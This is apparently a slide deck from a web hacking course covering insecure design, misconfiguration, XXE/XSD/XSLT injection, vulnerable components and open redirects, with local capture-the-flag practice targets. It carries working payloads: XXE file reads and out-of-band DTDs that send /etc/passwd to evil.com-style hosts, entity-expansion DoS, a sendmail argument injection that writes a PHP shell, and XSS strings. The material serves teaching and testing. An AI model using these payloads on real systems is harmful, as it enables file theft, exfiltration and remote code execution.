Practical Web Hacking and Exploitation

Part 2


A4 Insecure Design


Introduction

Insecure design is not the source for all other Top 10 risk categories. There is a difference between insecure design and insecure implementation.

One of the factors that contribute to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.


實際案例 1 - Cool Pets NFT

Cool Cats 延伸項目 Cool Pets 在公開鑄造時期實作了一個 Captcha 驗證機制以防止機器人鑄造,但因其驗證並非隨機產生,因此可以提前鎖定一組驗證碼並重複使用。


實際案例 2 - 聊天10分鐘50元 / HowFun


A5 Security Misconfiguration


Introduction

Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.


Common Pitfalls


Default Account and Password

https://cirt.net/passwords


實際案例 1 - Worse than Equifax: Personal records of 340M people leaked online

一間位於佛羅裡達的市調公司 Exactis 暴露了將近三億四千萬筆美國國民的敏感資訊。


實際案例 2 - Private data of more than 82 million US citizens left exposed

來自 HackenProof 的安全研究員發現透過 Shodan 進行例行性的安全審計時,發現某三個運行 Elasticsearch 叢集的 IP 向外暴露了將近 73 G 的敏感資訊。


Misconfiguration


Nginx - Case 1

What would then happen?

CRLF Injection


Cont.

Why $uri will cause CRLF Injection?


Nginx - Case 2

What would then happen?

Any response packet from /test2 will have no CSP header, thus no CSP protection


Cont.

Why? That’s because add_header directives are inherited from the previous level if and only if there are no add_header directives defined on the current level


gixy - Nginx configuration static analyzer


Version Control


Security Issue

When hackers discover…


Cont.


Intro to Git


Tool


Practice 1

Get the shell to read the flag

http://127.0.0.1:8094/phpinfo.php


Practice 2

Get the flag

http://127.0.0.1:8095/?name=boik


Cont.

Hint:

  1. alias traversal

Introduction to XXE


XXE targets


Exploitation


Terminology


DTD - Document Type Definition


Cont.

Attributes

<?xml version="1.0" standalone="yes"?>

XML entities types

General entities: used in XML content like `&name;`

<!ENTITY name "Hello World">

Parameter entities: used inside doctype definition like `%name;`

<!ENTITY % name "Hello World">
<!-- parameter entities can insert new entities -->
<!ENTITY % name "Hello %myEntity;">

Cont.

External entities: entities with query to external (not declared in current XML document) resource (can be used both: general entities and parameter entities)

<!ENTITY name SYSTEM "URI/URL">
<!ENTITY name PUBLIC "any_text" "URI/URL">
<!-- External entities can be used for doctypes too -->
<!DOCTYPE name SYSTEM "address.dtd" [...]>
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">

Can you explain this?
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE content [ <!ENTITY ent1 SYSTEM "file:///etc/passwd"> <!ENTITY % ent2 PUBLIC "any_text" "http://evil.com/evil.dtd"> %ent2; <!ENTITY % ent3 PUBLIC "any_text" '&lt;!ENTITY ent4 SYSTEM "file:///etc/passwd"&gt;'> %ent3; ]> <root>&ent1;&ent4;</root>

Attack Vectors

Say, we have following vulnerable code:

Vulnerable Code

<?php $data = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($data); print_r($dom->textContent);

Local FIle Inclusion

Exploit

<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

Cont.


SSRF

Exploit

<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.10.150:8081"> ]> <root>&xxe;</root>

Cont.


OOB (Out-of-Band)

While we have no outputs back, we can utilize oob to retrieve the data from our controlled server.

Caution: In the internal DTD subset, parameter-entity references MUST NOT occur within markup declarations.
Ref: https://www.w3.org/TR/xml/#wfc-PEinInternalSubset


Exploit

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.10.150:8000/evil.dtd"> %remote; %intern; %xxe; ]> <root></root>

http://192.168.10.150:8000/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://192.168.10.150:8081/?%payl;'>">

Cont.


DoS

Exploit

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY hifi "hifi"> <!ENTITY hifi1 "&hifi;&hifi;&hifi;"> <!ENTITY hifi2 "&hifi1;&hifi1;&hifi1;"> <!ENTITY hifi3 "&hifi2;&hifi2;&hifi2;"> ]> <root>&hifi3;</root>

Exploit 2

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe1 SYSTEM "/dev/urandom"> <!ENTITY xxe2 SYSTEM "/dev/zero"> ]> <root>&xxe1;&xxe2;</root>

Error based


Case 1

Exploit

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.10.150:8000/evil.dtd"> %remote; %intern; %xxe; ]> <root></root>

http://192.168.10.150:8000/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>">

Cont.


Case 2

Exploit

<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % pay SYSTEM "php://filter/convert.base64-encode/resource=//etc/passwd"> <!ENTITY % remote SYSTEM "http://192.168.10.150:8000/evil.dtd"> %remote; %trick; ]> <root></root>

http://192.168.10.150:8000/evil.dtd

<!ENTITY % trick "<!ENTITY :%pay;>">

Cont.


Mitigation


XSD Attack

XML Schema Definition Language (XSD) is used to define XML structure.


Attack Vectors

OOB: schemaLocation

  <document xmlns="http://any.namespace.name/like.url" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://any.namespace.name/like.url http://attacker.com/evil.xsd">text</document>

OOB: noNamespaceSchemaLocation

  <document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://attacker.com/evil.xsd">text</document>

OOB: XInclude

  <data xmlns:xi="http://www.w3.org/2001/XInclude">
      <xi:include href="http://attacker.com/evil.xml"/>
      <xi:include href="file:///etc/passwd" parse="text"/>
  </data>

Error based

  <xs:restriction base="xs:string">
    <xs:pattern value="&xxe;" />
  </xs:restriction>

XSLT Attack

eXtensible Stylesheet Language Transformations (XSLT) is used to convert one XML document to other.


Attack Vectors

Getting system information

<xsl:template match="/">
  XSLT Version: <xsl:value-of select="system-property('xsl:version')" />
  XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
  XSLT Vendor URL: <xsl:value-of select="system-property('xsl:version-url')" />
</xsl:template>

OOB: xml-stylesheet

  <?xml version="1.0"?>
  <?xml-stylesheet type="text/xsl" href="http://evil.com/evil.xsl"?>
  <doc></doc>

XSLT Out-Of-Band through variables and value-of definition

  <xsl:value-of select="document('test.html')" />
  <xsl:value-of select="document('http://dev.company.com/secret.txt')" />
  <xsl:variable name="name1" select="document('file:///etc/passwd')" />
  <xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
  <xsl:variable name="name3" select="document($name2)" />

Practice 3

Get the flag

http://127.0.0.1:8096/?feed=http://feeds.bbci.co.uk/news/rss.xml?edition=int


Practice 4

Get the flag

http://127.0.0.1:8097/?feed=http://feeds.bbci.co.uk/news/rss.xml?edition=int


Practice 5

Get the flag

http://127.0.0.1:8098/


A6 Vulnerable and Outdated Components


Introduction


HackMD


HackMD - Part.1 (fixed)

HackMD 的簡報模式存在 Stored XSS 攻擊,其有問題的程式碼在

Vulnerable Code

var body = $(".slides").html(); $(".slides").html(S(body).unescapeHTML().s);

Exploit

hackmd_xss_1


Response

hackmd_xss_2


HackMD - Part.2 (fixed)

HackMD 的 metadata 存在 Stored XSS 攻擊,其有問題的程式碼在

Vulnerable Code

var data = { title: title, description: meta.description, viewcount: note.viewcount, createtime: createtime, updatetime: updatetime, url: origin, body: text, useCDN: config.usecdn, owner: note.owner ? note.owner.id : null, ownerprofile: note.owner ? models.User.parseProfile(note.owner.profile) : null, lastchangeuser: note.lastchangeuser ? note.lastchangeuser.id : null, lastchangeuserprofile: note.lastchangeuser ? models.User.parseProfile(note.lastchangeuser.profile) : null, robots: meta.robots || false, //default allow robots GA: meta.GA, disqus: meta.disqus };

Exploit

hackmd_xss_again_1


Exploit

hackmd_xss_again_2


HackMD - Part.3 (fixed)

HackMD 的 metadata 經過修補後仍然存在 Stored XSS 攻擊,其有問題的程式碼在

Vulnerable Code

extractNoteTags: function (meta, $) { var tags = []; var rawtags = []; if (meta.tags && (typeof meta.tags == "string" || typeof meta.tags == "number")) { var metaTags = ('' + meta.tags).split(','); for (var i = 0; i < metaTags.length; i++) { var text = metaTags[i].trim(); if (text) rawtags.push(text); } } else { var h6s = $("h6"); h6s.each(function (key, value) { if (/^tags/gmi.test($(value).text())) { var codes = $(value).find("code"); for (var i = 0; i < codes.length; i++) { var text = $(codes[i]).html().trim(); if (text) rawtags.push(text); } } }); }

Exploit

hackmd_xss_again


HackMD - Part.4 (fixed recently, commit: 93b9116)


What can we learn from this case?

  1. Regex is not the best methodology to prevent XSS, therefore other secure headers should be applied.

How to patch?

Discussion…

  1. Patch manually
  2. Applying extra secure headers, such as: CSP, x-xss-protection, and etc
  3. Use semantic analysis to identify where user’s input is a valid js code, and then take action based on its ratings

JavaScript frameworks


AngularJS

A go-through upon escaping AngularJS’s sandbox utility. :ghost:


ReactJS

case study: XSS via a spoofed React element

ReactJS gives you more protection with this PR.


Rails


CVE-2013-0156


Cont.

Cont.

CVE-2013-0333

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.


Cont.

Third Parties


bootstrap-sass Ruby Gem


Practice 1

Get the flag

http://127.0.0.1:8099/


Cont.

Hint:

  1. CVE-2016-10033
  2. Check PHPMailer 命令執行漏洞(CVE-2016-10033)分析

PHP’s mail() function


synopsis

Vulnerable Code

mail("myfriend@example.com", "subject", "message", "", "-f" . $_GET['from']);

What can be wrong?

http://php.net/manual/en/function.mail.php

Function [ <internal:standard> function mail ] {

  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}

Cont.

Say we have the following snippet:

$to      = "john@localhost";
$subject = "Simple Email";
$headers = "From: mike@localhost";
$body    = 'Body of the message';

$sender  = "admin@localhost";

mail($to, $subject, $body, $headers, "-f $sender");

Cont.

Following request will be made:

execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i -f admin@localhost"], [/* 24 environment vars */])

Cont.

And pass the following data to its STDIN:

To: john@localhost
Subject: Simple Email
X-PHP-Originating-Script: 0:simple-send.php
From: mike@localhost

Body of the message

Arbitrary Command Injection


Cont.

Remote Code Execution

Vulnerable Code

mail("a@b.c", "<?php SUBJECT; ?>", "<?php BODY; ?>", "<?php HEADER; ?>", "-f" . $_GET['from']);

Cont.

$_GET['from']

"'<?php CLI; ?>' -oQ/tmp -X /var/www/html/rce.php"

Cont.

Proof of Concept

/usr/sbin/sendmail -t -i -f'<?php CLI; ?>' -oQ/tmp -X/var/www/html/rce.php

Cont.

/var/www/html/rce.php

13424 <<< To: a@b.c
13424 <<< Subject: <?php SUBJECT; ?>
13424 <<< X-PHP-Originating-Script: 0:Command line code
13424 <<< <?php HEADER; ?>
13424 <<<
13424 <<< <?php BODY; ?>
13424 <<< [EOF]


Practice 2

Get the flag

http://127.0.0.1:8100/

Hint:

  1. Source code: https://file.io/Z6Ht5n8iYqHo
  2. CVE-2022-21824

Practice 3

Get the flag

http://127.0.0.1:8101/

Hint:

  1. Check Create an Unexpected Object and Don’t Invoke __wakeup() in Deserialization
  2. Check Mysql字符編碼利用技巧

Appendix

Unvalidated Redirects and Forwards


Introduction


Real Case - Open redirects that matter

Tomasz Bojarski, coming from a little town in Poland, used not one, but two redirects to trigger an XSS on events.google.com.

Proof of Concept

https://events.google.com/io2015/api/v1/photoproxy
?url=https%3A%2F%2Fpicasaweb.google.com%2fdata%2Ffeed%2Fapi%2F..%2f../../bye/%3fcontinue=https%3A%2F%2Fwww.google.com%2Famp/woops-pocs.appspot.com?xss

Step 1

/api/v1/photoproxy server-side handler that could fetch a URL passed in a parameter and proxy the HTTP response

url := r.FormValue("url") if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") { writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint") return }

Step 2


Step 3

Final PoC

https://picasaweb.google.com/data/feed/api/../../../bye/
?continue=https%3A%2F%2Fwww.google.com%2Famp/your-domain.example.com/path?querystring

Cont.

Code Snippet

func servePhotosProxy(w http.ResponseWriter, r *http.Request) { c := newContext(r) if r.Method != "GET" { writeJSONError(c, w, http.StatusBadRequest, "invalid request method") return } url := r.FormValue("url") if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") { writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint") return } req, err := http.NewRequest("GET", url, nil) if err != nil { writeJSONError(c, w, errStatus(err), err) return } res, err := httpClient(c).Do(req) if err != nil { writeJSONError(c, w, errStatus(err), err) return } defer res.Body.Close() w.Header().Set("Content-Type", "application/json;charset=utf-8") w.WriteHeader(res.StatusCode) io.Copy(w, res.Body) }

Cont.

Step 4

trigger error message


Response

{"error": "Get http://woops-pocs.appspot.com: failed to parse Location header \"//><img src=x onerror='alert(document.domain)'\": parse //><img src=x onerror='alert(document.domain)': invalid character \" \" in host name"}

alert


What can we learn from this case?

  1. It could be problems sometimes that we implement some workarounds

How to patch?

Discussion…


References


Cont.


Thank you :flushed:

boik.su@cycarrier.com